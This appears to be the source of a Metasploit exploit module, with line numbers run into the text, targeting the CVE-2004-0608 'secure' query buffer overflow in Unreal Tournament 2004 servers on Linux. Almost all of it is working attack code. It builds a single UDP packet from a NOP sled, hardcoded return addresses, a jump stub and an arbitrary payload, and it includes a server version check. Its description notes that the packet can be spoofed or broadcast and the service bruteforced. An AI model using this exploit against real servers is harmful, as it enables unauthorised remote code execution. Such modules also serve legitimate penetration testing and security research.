Path: blob/master/modules/exploits/linux/games/ut2004_secure.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Unreal Tournament 2004 "secure" Overflow (Linux)',15'Description' => %q{16This is an exploit for the GameSpy secure query in17the Unreal Engine.1819This exploit only requires one UDP packet, which can20be both spoofed and sent to a broadcast address.21Usually, the GameSpy query server listens on port 7787,22but you can manually specify the port as well.2324The RunServer.sh script will automatically restart the25server upon a crash, giving us the ability to26bruteforce the service and exploit it multiple27times.28},29'Author' => [ 'onetwo' ],30'License' => BSD_LICENSE,31'References' => [32[ 'CVE', '2004-0608'],33[ 'OSVDB', '7217'],34[ 'BID', '10570'],3536],37'Privileged' => true,38'Payload' => {39'Space' => 512,40'BadChars' => "\x5c\x00"4142},43'Platform' => 'linux',44'Targets' => [45['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], # JMP ESP , (free/realloc) BSS pointer46['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],47],48'DisclosureDate' => '2004-06-18',49'Notes' => {50'Stability' => [CRASH_SERVICE_RESTARTS],51'Reliability' => [UNRELIABLE_SESSION],52'SideEffects' => [IOC_IN_LOGS]53}54)55)5657register_options(58[59Opt::RPORT(7787)60]61)62end6364def exploit65connect_udp6667buf = make_nops(1024)68buf[24, 4] = [target['Rets'][1]].pack('V')69buf[44, 4] = [target['Rets'][0]].pack('V')70buf[56, 4] = [target['Rets'][1]].pack('V')71buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" # LEA/JMP7273buf[0, 8] = '\\secure\\'74buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded7576udp_sock.put(buf)7778handler79disconnect_udp80end8182def ut_version83connect_udp84udp_sock.put('\\basic\\')85res = udp_sock.recvfrom(8192)86disconnect_udp8788if res && (m = res.match(/\\gamever\\([0-9]{1,5})/))89return m[1]90end9192return93end9495def check96vers = ut_version9798if !vers99return CheckCode::Unknown('Could not detect Unreal Tournament Server')100end101102print_status("Detected Unreal Tournament Server Version: #{vers}")103104if (vers =~ /^(3120|3186|3204)$/)105return CheckCode::Appears('This system appears to be exploitable')106end107108if (vers =~ /^(2...)$/)109return CheckCode::Detected('This system appears to be running UT2003')110end111112return CheckCode::Safe('This system appears to be patched')113end114end115116117